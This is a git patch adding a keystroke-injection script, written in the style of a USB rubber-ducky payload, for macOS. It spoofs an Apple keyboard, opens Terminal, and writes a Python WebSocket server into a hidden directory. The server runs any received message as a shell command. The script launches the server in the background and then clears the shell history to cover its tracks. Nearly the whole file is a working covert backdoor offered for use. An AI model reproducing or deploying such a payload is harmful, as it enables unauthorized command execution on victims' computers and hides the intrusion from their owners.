From 2225282f93336d39dc133c2fda990a419896711d Mon Sep 17 00:00:00 2001 From: narstybits Date: Sat, 27 May 2023 21:46:53 -0500 Subject: [PATCH] Needs Testing, should work --- Executions/Remote Shell.txt | 48 +++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 Executions/Remote Shell.txt diff --git a/Executions/Remote Shell.txt b/Executions/Remote Shell.txt new file mode 100644 index 0000000..8c92d2f --- /dev/null +++ b/Executions/Remote Shell.txt @@ -0,0 +1,48 @@ +REM Creates a hidden directory in the home directory named .phantom_ws. +REM Navigates into the new directory. +REM Writes a Python script (server.py) +REM This sets up a WebSocket server and allows command execution from received WebSocket messages. +REM Starts the Python script in the background with nohup, suppressing all output. +REM Clears the terminal history and exits the terminal. + + + +REM to connect to the shell remotley: 'brew install websocat' +REM After you've installed websocat, +REM you can connect to your WebSocket server like this: 'websocat ws://localhost:8765' +REM Once connected, you can type a command and press Enter to send it. +REM The server will execute the command and send back the output. +REM To shut down the server, use the kill command with the PID +Replace 12345 with the actual PID from your 'kill 12345' + +REM Requirements: Homebrew/python3/websocat + + +REM Title: Remote Shell +REM Author: NARSTY +REM Target: MacOS +REM Version: 1.0 +REM Category: Execution + + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING Terminal +DELAY 500 +ENTER +DELAY 500 +STRING mkdir ~/.phantom_ws && cd ~/.phantom_ws +ENTER +DELAY 500 +STRING echo 'import asyncio\nimport websockets\nimport subprocess\n\nasync def execute_command(websocket, path):\n async for message in websocket:\n cmd = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n cmd_output = cmd.stdout.read() + cmd.stderr.read()\n await websocket.send(cmd_output.decode())\n\nstart_server = websockets.serve(execute_command, \"localhost\", 8765)\n\nasyncio.get_event_loop().run_until_complete(start_server)\nasyncio.get_event_loop().run_forever()' > server.py +ENTER +DELAY 500 +STRING nohup python3 server.py > /dev/null 2>&1 & +ENTER +DELAY 500 +STRING history -c && exit +ENTER + +